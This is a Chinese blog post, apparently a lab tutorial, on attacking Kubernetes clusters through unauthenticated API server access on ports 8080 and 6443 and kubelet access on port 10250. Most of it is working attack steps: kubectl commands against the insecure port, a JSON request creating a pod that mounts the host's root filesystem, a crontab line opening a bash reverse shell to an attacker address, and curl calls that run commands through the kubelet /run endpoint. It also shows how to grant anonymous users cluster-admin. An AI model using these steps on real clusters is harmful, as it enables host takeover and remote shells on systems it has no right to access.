云安全-云原生k8s攻击点（8080，6443，10250未授权攻击点）-CSDN博客

0x00 k8s简介

k8sKubernetes 是容器管理平台用来管理容器化的应用提供快速的容器调度、弹性伸缩等诸多功能可以理解为容器云不涉及到业务层面的开发。只要你的应用可以实现容器化就可以部署在k8s 上通过k8s对应用负载进行调度配合hpa (Horizontal PodAutoscaling) 可以实现应用负载的弹性伸缩从而解决高并发量的问题。

简单说就是管理多台主机上的容器应用是一个集群管理Master节点

以往的攻击点思路通常
外网信息收集打点漏洞攻击获取权限提权内网横向…
云上攻防思路

1. 控制云平台管理系统达到控制所有云主机目的
2. 通过容器环境提权逃逸获取宿主机权限后利用k8s云架构横向云服务
3. 利用KVM-QEMU/执行逃逸获取宿主机进入物理网络横向移动控制云平台

k8s的十二个攻击点以及部署图

参考千里目实验室文章
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

如下可以看到主控制节点master以及Node1节点Node2节点 其中Node中存在pod理解为对应的容器启动的业务应用。

0x01 如何判断对象是否为k8s

端口判断在MasterNote节点上有明显的端口特征如6443的api server服务 。
k8s新旧版本的区别

旧版本会开启6443和8080端口8080不需要验证6443是TLS加密老版本k8s<=1.16.0而新版只会开启6443
因为安装新的或者旧k8s是根据业务主机工作性质去配置所以不一定是全是需要新版所以会导致一些问题。

实验环境
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
下面poc采用小迪笔记

0x02 8080端口API Server未授权访问

攻击master节点的8080默认为旧版本k8s xshell连接master
访问8080不带s发现api接口消去配置文件的8080改为0重启服务无法打开
利用官方客户端工具安装kubectl管理k8s的命令行工具 kubectl get pods 判断pods个数容器个数
kubectl get nodes 判断主机数量 windows命令-s连接获取nodes
再获取pods创建文件创建添加一个pods利用文件执行命令连接未授权的地址端口在docker中创建连接shell拿到容器的docker的shell再通过计划任务反弹shell因为创建的容器挂载在宿主机的mnt目录通过反弹也是通过mnt反弹
开kali监听端口接受到shell 因为是再node中创建的所以cron计划任务也在node1中才可以看到

新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
kubectl -s 192.168.139.130:8080 create -f test.yaml
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab

0x03 6443端口API Server未授权访问

攻击点2master节点上6443端口错误的配置允许匿名用户通过管理员权限下发任务 确定有未授权访问6443 泄露api接口
通过postman发送包创建新的pods为test3连接创建的pods再反弹shell跟上面一致

一些集群由于鉴权配置不当将"system:anonymous"用户绑定到"cluster-admin"用户组从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

-创建恶意pods
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
-连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
-连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash
再去反弹shell

0x04 10250端口kubelet未授权访问

攻击点3Node节点上kubelet未授权访问 判断是否存在未授权直接访问第二台node2的10250端口 xshell连接node2
查看config.yaml文件enabled为truemode为AlwaysALLow配置这两个会导致问题
攻击132node2主机执行命令 替换三个数值直接执行回显命令

https://192.168.139.130:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet

-利用执行命令这里需要三个参数
namespace  default
pod  test03
container test03
-访问获取
https://192.168.139.132:10250/runningpods/
-执行模版
curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
-构造触发
https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"